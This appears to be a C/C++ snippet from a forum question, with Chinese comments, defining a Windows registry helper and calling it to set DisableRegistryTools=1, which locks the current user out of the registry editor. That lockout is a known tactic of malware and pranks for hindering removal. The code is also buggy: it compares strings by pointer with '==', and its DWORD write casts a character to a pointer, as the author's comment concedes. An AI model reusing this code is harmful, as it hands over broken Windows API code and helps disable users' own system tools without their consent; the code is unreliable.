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void setvaluereg(HKEY rookreg,char *subkey,char *valuename,char *valuedate,char *regtype) //设置值名,有复盖无新建
{
HKEY reg;
char * rtype;
rtype=regtype;
long result=RegCreateKeyEx(rookreg,subkey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,®,NULL);
if (result!=ERROR_SUCCESS) //成功打开值会是ERROR_SUCCESS
{
return ;
}
if (rtype=="REG_SZ") //类型是REG_SZ
{
result=RegSetValueEx(reg,valuename,0,REG_SZ,(const unsigned char *)valuedate,strlen(valuedate));
// if (result!=ERROR_SUCCESS)
// {
// return ;
// }
}
if (rtype=="REG_DWORD") //类型是REG_DWORD
{
result=RegSetValueEx(reg,valuename,0,REG_DWORD,(const unsigned char *)(DWORD(*valuedate)),4);//(const unsigned char *) or (BYTE*) ||| 4 or sizeof(DWORD)
//(const unsigned char *)(DWORD(*valuedate))这里不知怎么改。我改了很多都不行直接(const unsigned char *)valuedate也不行
// if (result!=ERROR_SUCCESS)
// {
// return ;
// }
}
RegCloseKey(reg);
}
setvaluereg(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","DisableRegistryTools","1","REG_DWORD");